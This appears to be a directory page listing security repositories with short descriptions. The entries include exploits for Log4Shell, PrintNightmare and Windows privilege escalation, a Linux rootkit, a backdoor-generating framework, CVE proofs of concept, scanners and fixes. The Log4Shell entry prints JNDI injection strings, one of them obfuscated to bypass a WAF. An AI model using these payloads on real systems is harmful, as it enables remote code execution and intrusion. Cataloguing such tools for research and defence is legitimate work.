drawio-threatmodeling

Draw.io libraries for threat modeling This is a collection of custom libraries to turn the free and cross-platform Draw.io diagramming application into the perfect tool for threat modeling. Data Flow Diagrams Data Flow Diagramming is a simple diagramming technique used to gain an understanding of...

Log4J_0day_RCE

Join Community Telegram CVE-2021-44228Apache Log4j Remote Code Execution） Affected versions you can use JNDI-Injection-Exploit to Exploit. Bypass rc1 For example: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

Potato

Potato Privilege Escalation on Windows 7,8,10, Server 2008, Server 2012 How it works Potato takes advantage of known issues in Windows to gain local privilege escalation, namely NTLM relay specifically HTTP-SMB relay and NBNS spoofing. Using the techniques outlined below, it is possible for an...

rootkit

Linux Rootkit A simple Linux kernel rootkit written for fun, not evil. Functionality The rootkit can do the following: Grant root privileges to a userland process Hide process by PID Unhide a previously hidden process by PID Hide files or directories by their name Unhide previously hidden files o...

Zapscape-Fix

Zapscape-Fix — CVE-2026-64561 Kernel Live Patch KVM/x86 English |简体中文 A kernel live patch that fixes CVE-2026-64561 Zapscape on CentOS Stream 8 / RHEL 8 KVM hosts all 4.18.0- kernels. Without the patch : a tenant VM guest can escape to the host with guest-side actions alone and execute code with...

GO-2026-6720 yopass Prometheus metrics middleware allows remote memory exhaustion through unbounded method labels in github.com/jhaals/yopass

yopass Prometheus metrics middleware allows remote memory exhaustion through unbounded method labels in github.com/jhaals/yopass...

log4shell-docker-lab

Log4Shell docker lab for CVE-2021-44228 The components This docker lab makes use of three components, being: The vulnerable spring-boot application An HTTP server that hosts .class files used for remote code execution An LDAP referral server which redirects specific LDAP queries to the HTTP serve...

CVE-2026-73072

cve-id Donate Help maintain this project If you find this project useful, please consider supporting its ongoing maintenance through PayPal or ABA Mobile. ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ Ten percent of every donation is contributed to Kantha Bopha...

tomcat-rewrite-ns-loop

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · tomcat-rewrite-ns-loop tomcat-rewrite-ns-loop Class: DoS Reach: Remote Apache Tomcat 11.0.27 52f3b364 - tomcat.apache.org RewriteValve.parseRuleFlag prefix-matches. After NC/NE, any remaining flag that startsWith"N"...

kfd

Quick disclaimer: I have no intention of adding offsets for other devices and iOS versions. kfd kfd, short for kernel file descriptor, is a project to read and write kernel memory on Apple devices. It leverages various vulnerabilities that can be exploited to obtain dangling PTEs, which will be...

KitHack

Kithack is a framework designed to automate the process of downloading and installing different tools for penetration testing, with a special option that allows generating cross-platform backdoors using Metasploit Framework. KitHack Compatible Distributions: Distribution| State ---|--- Kali Linux...

heartbleed-masstest

This tool allows you to scan multiple hosts for Heartbleed, in an efficient multi-threaded manner. This tests for OpenSSL versions vulnerable to Heartbleed without exploiting the server, so the heartbeat request does not cause the server to leak any data from memory or expose any data in an...

CVE-2021-27877-PoC

CVE-2021-27877 Proof of Concept This repository contains a modified version of the original Rapid7 Metasploit module for CVE-2021-27877 affecting the Veritas Backup Exec Agent. During my testing, the original Metasploit module successfully identified the target as vulnerable but consistently fail...

CVE-2021-34527

CVE-2021-34527 CVE-2021-34527 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution capability, and a C rendition for local privilege escalation. I had not se...

CubeSandbox

CubeTemplateCenter The standalone process that builds templates: pulls the image, runs the build in an envd sandbox, produces the rootfs ext4, computes the fingerprint, and reports the result back to CubeMaster. CubeMaster handles the rest: job persistence, the public API, and cross-node...

CVE-2026-40179-PoC

CVE-2026-40179 — Prometheus stored XSS via remotewrite A minimal, dependency-light proof of concept for CVE-2026-40179 GHSA-vffh-x6r8-xx99: stored cross-site scripting in the Prometheus web UI, delivered through an unauthenticated remotewrite endpoint. The vulnerability Prometheus 3.x renders...

cve-2026-15748

CVE-2026-15748 — Forminator Security Scanner A Python-based security research and vulnerability assessment scanner for identifying WordPress installations that use the Forminator plugin and assessing version-related exposure. For Educational & Authorized Testing Only Run this project only against...

CVE-2025-60876

CVE-2025-60876: busybox wget request-target injection fix A behavior-preserving fix for CVE-2025-60876, an HTTP header-injection vulnerability in BusyBox wget, plus the proof-of-concept that demonstrates it and the artifacts for submitting the fix upstream to BusyBox. The vulnerability BusyBox wg...

jsluice

jsluice jsluice is a Go package and command-line tool for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. If you want to do those things right away: look at the command-line tool. If you want to integrate jsluice's capabilities with your own project: look ...

KrbRelayUp

KrbRelayUp Simple wrapper around some of the features of Rubeus and KrbRelay and a few other honorable mentions in the acknowledgements section in order to streamline the abuse of the following attack primitive: 0. Optional New machine account creation New-MachineAccount 1. Local machine account...